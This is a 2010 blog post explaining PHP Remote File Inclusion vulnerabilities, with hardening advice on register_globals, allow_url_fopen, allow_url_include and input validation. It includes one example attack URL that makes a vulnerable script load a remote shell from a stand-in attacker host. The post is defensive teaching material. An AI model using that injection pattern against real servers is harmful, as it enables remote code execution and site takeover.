Understanding PHP RFI Vulnerabilities

Monday, June 14, 2010

Brent Huston

E313765e3bec84b2852c1c758f7244b6

PHP is a scripting language that is deployed on countless web servers and used in many web frameworks.

“PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.”[1]

In 2007, at least 20 million websites had PHP deployed. The exponential growth of PHP came from the development of LAMP/WAMP stacks.

These stand for Linux/Apache/MySQL/PHP and Windows/Apache/MySQL/PHP respectively.

These ensure that deployment of PHP applications are simple enough for the most novice web developer. Many of you may have heard of Wordpress, Drupal, or Joomla.

These are common web applications that are written entirely in PHP. Many sites run PHP as their main scripting language, such as Youtube, Facebook, Digg, and Wikipedia.

PHP also powers cybercrime. A large majority of publicly disclosed vulnerabilities are PHP related. In 2009, 5733 PHP Remote File Inclusion vulnerabilities were disclosed.[2]

In situations where exploiting PHP RFI is possible, most likely SQL Injection and Cross Site Scripting are all possible. This is due to the exploits having the same root cause or lacking input validation.

What is a PHP Remote File Injection (RFI) attack? A PHP RFI attack occurs when there is unvalidated input to a PHP script.

This allows PHP code to be injected by a malicious person. For example, a typical PHP URL would look something like this:

www.example.com/errors.php?error=errorsfile.php.

How can this be abused to cause PHP RFI? The errors.php script is taking a file as input, which in the example, is errorsfile.php.

If the site is vulnerable and does not have input validation, any file could be used as input, even files from remote servers. When the vulnerable server requests www.example.com/errors.php?error=http://evilhaxor.com/remoteshell.php, the remoteshell.php file will be processed by the web server.

Attackers can do quite a bit with remotely included PHP files, including opening a shell, enumerating users or programs, and defacing the website.

Basically, whatever user the web server is running as, an attacker can run commands as that user.

How do we fix PHP RFI?

There are several variables within the PHP configuration that can be set to provide a more secure environment for PHP code to run in. These are register_globals, allow_url_fopen, and allow_url_include.

In an ideal world, we would be able to set all of these variables in the php.ini file to OFF. However, in most cases this will break applications dependent on these functions.

A thorough review of their usage should be done before setting any of them to OFF. Another solution is to implement secure coding practices in PHP, and to implement input validation.

Detailing input validation methods and ways to securely code PHP is too complex for this article.

However you can discover more by reading the OWASP Top 10 entries for PHP RFI, and the Web Application Security Consortium article on PHP RFI. Both will help you learn about this threat and take precautions for your own network.

Cross-posted from State of Security

Possibly Related Articles:
8334
Vulnerabilities Webappsec->General
Web Application Security RFI PHP
Post Rating I Like this!
The views expressed in this post are the opinions of the Infosec Island member that posted this content. Infosec Island is not responsible for the content or messaging of this post.

Unauthorized reproduction of this article (in part or in whole) is prohibited without the express written permission of Infosec Island and the Infosec Island member that posted this content--this includes using our RSS feed for any purpose other than personal use.